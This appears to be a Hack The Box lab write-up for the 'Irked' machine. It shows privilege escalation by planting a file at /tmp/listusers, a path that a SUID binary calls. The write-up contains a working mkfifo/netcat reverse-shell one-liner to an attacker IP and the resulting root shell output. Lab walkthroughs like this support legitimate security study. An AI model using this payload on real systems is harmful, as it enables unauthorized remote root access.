Irked_Privilege_Escalation_2

File Hijacking

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djmardov@irked:/$ /usr/bin/viewuser
This application is being devleoped to set and test user permissions
It is still being actively developed
(unknown) :0           2023-01-24 15:18 (:0)
djmardov pts/0        2023-01-24 15:20 (10.10.14.10)
sh: 1: /tmp/listusers: not found

As analyzed earlier, since the /usr/bin/viewuser binary is expecting one, I will be able to place a malicious file named, “listusers”, at the /tmp directory, effectively hijacking the execution flow.

djmardov@irked:/$ echo 'mkfifo /tmp/eskz; nc 10.10.14.10 1234 0</tmp/eskz | /bin/sh >/tmp/eskz 2>&1; rm /tmp/eskz' > /tmp/listusers

Placing a payload into the /tmp/listusers file.

djmardov@irked:/$ /usr/bin/viewuser
This application is being devleoped to set and test user permissions
It is still being actively developed
(unknown) :0           2023-01-24 15:18 (:0)
djmardov pts/0        2023-01-24 15:20 (10.10.14.10)

Executing the SUID binary to trigger the payload

┌──(kali㉿kali)-[~/archive/htb/labs/irked]
└─$ nnc 1234
listening on [any] 1234 ...
connect to [10.10.14.10] from (UNKNOWN) [10.10.10.117] 37567
whoami
root
hostname
irked
ip a
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default 
    link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
    inet 127.0.0.1/8 scope host lo
       valid_lft forever preferred_lft forever
    inet6 ::1/128 scope host 
       valid_lft forever preferred_lft forever
2: eth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc pfifo_fast state UP group default qlen 1000
    link/ether 00:50:56:b9:03:4e brd ff:ff:ff:ff:ff:ff
    inet 10.10.10.117/24 brd 10.10.10.255 scope global eth0
       valid_lft forever preferred_lft forever
    inet6 dead:beef::250:56ff:feb9:34e/64 scope global mngtmpaddr dynamic 
       valid_lft 86398sec preferred_lft 14398sec
    inet6 fe80::250:56ff:feb9:34e/64 scope link 
       valid_lft forever preferred_lft forever

System Level Compromise